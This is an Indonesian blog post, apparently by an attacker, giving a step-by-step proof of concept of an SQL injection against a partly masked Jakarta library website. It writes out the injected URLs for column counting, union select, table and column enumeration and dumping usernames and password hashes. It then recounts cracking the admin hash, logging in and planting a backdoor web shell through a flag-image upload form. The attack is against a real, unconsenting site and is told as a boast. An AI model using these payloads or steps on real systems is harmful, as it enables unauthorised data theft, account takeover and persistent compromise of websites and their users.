SQLi at Perpustakaan Jakarta

Disini ane cuma menjabarkan POCnya, bukan menjelaskan bagaimana itu bisa terjadi. Jika ingin tahu, ini sudah pernah dipublish ebook penjelasan lengkap ttg SQL injection "SQL Injection Revealed" milik salah satu 3 dara..

Pertama tentukan dlu path yang akan "dikerjakan"
Disitus ini ane menggunakan path sbb:

http://www.jakarta*******.com/profil/?jns=detil&id=2

tampilan halaman normalnya seperti ini

?

Kemudian cek vulnnya dlu dengan menambahkan single quote ( ' )


http://www.jakarta*******.com/profil/?jns=detil&id=2'


atau pernyataan yg bernilai salah misalnya tambahkan and 1=0


http://www.jakarta*******.com/profil/?jns=detil&id=2 and 1=0


Tapi ane biasanya selalu skip langkah tersebut dan lgsg mencari jumlah kolomnya dengan query order by. Mengapa? Karena tidak sedikit situs2 yang tidak mem-patch inputan untuk cek vuln, tapi mem-patch inputan query seperti order by dan union select. Lagipula, yang penting itu kan dapet jumlah kolomnya :P. Dan jika suatu situs bisa diinject dengan query order by, sudah mewakilkan langkah mengecek vuln.. )-l

Langkah pertama yang sekaligus untuk mengecek vuln, biasanya ane gunakan query order by 100


http://www.jakarta*******.com/profil/?jns=detil&id=2 order by 100


Ternyata hasilnya seperti ini:

?

?

Ada halaman yang hilang. Sudah mulai ada tanda2 situsnya vuln.

Dilanjutkan dengan query order by 1


http://www.jakarta*******.com/profil/?jns=detil&id=2 order by 1


Hasilnya:

Normal!! Berarti situsnya vuln... :mrgreen:

Wokeh, selanjutkan sudah tau kan? yaitu mencari batas errornya. Di situs ini ane menemukan batas errornya diantara kolom 7 dan 8. Berarti jumlah kolomnya ada 7 ;) .
Kemudian tahap mencari angka ajaib. Gunakan query union select (jgn lupa parameter idnya dibuat error)

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,5,6,7


Abrakadabra... muncullah sang angka ajaib "2" dan "4". Pilih salah satu saja untuk tempat "bekerja". Disini ane memilih angka "4", alasannya? Suka2 ane dunk... :P
Langkah selanjutnya adalah mengecek versi MySQLnya. Tapi ane lagi2 menskipnya :mrgreen: , alasannya simple, jika bisa dieksekusi query untuk v5 berarti sudah pasti "dia" menggunakan v5 :mrgreen: , tapi klo gk bisa, ya berarti v4 (dimana ane males untuk melakukan blind sql injection... :P )

Wokeh, klo gitu selanjutnya adalah melist nama2 tabelnya

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()

Disini ane tertarik dengan nama tabel "tb_user"

Lalu kita intip nama kolomnya (tapi sebelumnya nama tabelnya di convert dlu ya ke hexadecimal ;) )
hexa dari tb_user=74625F75736572

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name=0x74625F75736572

?

Ya sudah, selanjutnya diintip isinya, jgn lupa kembalikan nama kolomnya ke bentuk string

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,group_concat(user_id,0x3a3a,password),6,7 from tb_user

Gotchaa!! Ternyata usernya banyak. Trus passwordnya di hash pula...

Yowes, ane pilih salah satunya aja yaitu user_id:admin, trus crack deh hashnya

Untung aja hashnya ada di db situs cracking online yg ane pilih..

Langkah selanjutnya, ya tentu saja masuk sebagai admin.. :mrgreen:?

?

?Tadaaa!!!

Enaknya diapain yaaa... :? :? :?
Dipes??? Ogah!!!
Mending tanem backdoor ajah.. :P
langkah selanjutnya mencari fitur upload.

Setelah dicari2 di menu admin, ternyata gk ada fitur khusus untuk upload :cry: . Cuma ada fitur khusus untuk listing dan tambah konten. Yowes, ane jalan2 aja sebentar. Ane liat tuh daftar konten di Gerbang Dunia. Gk tau deh ada apaan... :P

Wah ternyata isinya nama2 negara. Klo diperhatiin baik2, disitu ada gambar benderanya masing2 negara. Terbersitlah gimana cara sang admin untuk menampilkan gambar dari panel admin ini. Jangan2 ada fitur upload gambar2 bendera tersebut. Kita coba saja.. ~i?

?

Horeeyyy ternyata beneran ada (^-^)

Berdo'a sejenak berharap sang admin tidak memfilter jenis file yang diupload. Cari2 script backdoor yg ane dapet dari om toma.

?

ahaaaayyyy (^-^)

Mulai deh gilanya,
r0~f> r0~f> r0~f>
akhirnya nambah juga koleksi backdoor ane

Sekian dan terima kasih!!!

No comments:

Post a Comment